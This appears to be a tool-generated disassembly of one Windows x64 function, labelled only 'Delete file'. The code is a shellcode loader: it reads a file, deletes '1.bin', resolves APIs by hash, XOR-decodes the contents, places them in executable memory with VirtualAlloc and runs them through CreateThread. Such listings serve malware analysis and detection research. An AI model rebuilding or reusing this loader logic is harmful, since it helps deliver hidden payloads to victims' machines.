Function at 0x140001bc0
Capabilities:
Delete file

Disassembly:
mov rax, rsp
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x70]
sub rsp, 0x170
mov qword [rbp + 0x60], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
xor r15d, r15d
mov dword [rbp + 0xa0], r15d
lea rax, [0x14001ae70]
mov qword [rsp + 0x50], rax
mov dword [rbp + 0xa0], 1
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp], rax
mov qword [rsp + 0x58], r15
lea rcx, [rbp]
call fcn.1400015d0
lea r11, [rsp + 0x60]
mov qword [rbp + 0x48], r11
mov qword [rbp + 0x50], r15
lea rcx, [rbp]
call fcn.140003c80
mov byte [rbp + 0x58], al
cmp qword [rbp + 0x48], r15
jne 0x140001c57
mov edx, dword [rbp + 0x10]
or edx, 4
xor r8d, r8d
lea rcx, [rbp]
call fcn.140001460
nop
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rsp + rcx + 0x50], rax
lea rcx, [rsp + 0x60]
call fcn.140003340
nop
lea rcx, [rsp + 0x60]
call fcn.1400033e0
test rax, rax
jne 0x140001cad
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001ca4
or edx, 4
xor r8d, r8d
call fcn.140001460
nop
mov rcx, qword [rsp + 0x50]
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x140001cef
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
mov r9d, 1
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x38]
mov rdx, qword [rsp + 0x30]
jmp 0x140001cf9
mov rdx, qword [0x1400174a0]
mov rax, r15
movsxd r12, eax
add r12, rdx
movsxd rax, dword [rcx + 4]
test byte [rsp + rax + 0x60], 6
jne 0x140001d65
movsxd rax, dword [rcx + 4]
mov rcx, qword [rbp + rax - 0x68]
mov rax, qword [rcx]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rsp + 0x30]
call qword [rax + 0x50]
movsxd r11, dword [rsp + 0x38]
add r11, qword [rsp + 0x30]
cmp r11, qword [0x1400174a0]
jne 0x140001d65
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001d5d
or edx, 4
xor r8d, r8d
call fcn.140001460
mov rcx, r12
call fcn.140004dac
mov r13, rax
mov r8, r12
mov rdx, rax
lea rcx, [rsp + 0x50]
call fcn.140002050
mov rcx, qword [rax]
movsxd rdx, dword [rcx + 4]
test byte [rdx + rax + 0x10], 6
je 0x140001dcb
mov rcx, r13
call fcn.140006348
lea rcx, [rsp + 0x60]
call fcn.1400034d0
test rax, rax
jne 0x140001dcb
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001dc3
or edx, 4
xor r8d, r8d
call fcn.140001460
lea rcx, [rsp + 0x60]
call fcn.1400034d0
test rax, rax
jne 0x140001e00
mov rax, qword [rsp + 0x50]
movsxd rcx, dword [rax + 4]
lea rcx, [rsp + rcx + 0x50]
mov edx, dword [rcx + 0x10]
or edx, 2
cmp qword [rcx + 0x48], 0
jne 0x140001df8
or edx, 4
xor r8d, r8d
call fcn.140001460
lea rcx, str.1.bin
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
call fcn.140001a10
mov rbx, rax
mov edx, 0xf0b03804
mov rcx, rax
call fcn.140001ad0
mov rdi, rax
mov edx, 0x1ac1e8e1
mov rcx, rbx
call fcn.140001ad0
mov rsi, rax
lea rcx, str.kernel32.dll
call rdi
mov rbx, rax
lea rdx, str.VirtualAlloc
mov rcx, rax
call rsi
mov rdi, rax
lea rdx, str.CreateThread
mov rcx, rbx
call rsi
mov r14, rax
lea rdx, str.WaitForSingleObject
mov rcx, rbx
call rsi
mov rsi, rax
mov r10d, r15d
mov r9, r15
test r12, r12
jle 0x140001edc
mov r11, r13
lea r8, str.0x69
nop word [rax + rax]
movsx ecx, byte [r9 + r8]
mov eax, 0x4ac525d3
imul ecx
sar edx, 9
mov eax, edx
shr eax, 0x1f
add edx, eax
imul edx, edx, 0x6d9
sub ecx, edx
add cl, 0x4f
xor byte [r11], cl
inc r9
mov eax, r10d
and eax, 0x80000003
jge 0x140001ec8
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
cmove r9, r15
inc r10d
inc r11
movsxd rax, r10d
cmp rax, r12
jl 0x140001e90
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, r12
xor ecx, ecx
call rdi
mov rbx, rax
mov r8, r12
mov rdx, r13
mov rcx, rax
call fcn.140005410
mov qword [rsp + 0x28], r15
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov r8, rbx
xor edx, edx
xor ecx, ecx
call r14
or edx, 0xffffffff
mov rcx, rax
call rsi
nop
lea rcx, [rbp]
call fcn.140002440
lea r11, vtable.std::ios_base.0
mov qword [rbp], r11
lea rcx, [rbp]
call fcn.140004590
lea r11, [rsp + 0x170]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
sub rsp, 0x28
call fcn.140001770
add rsp, 0x28
jmp 0x140001bc0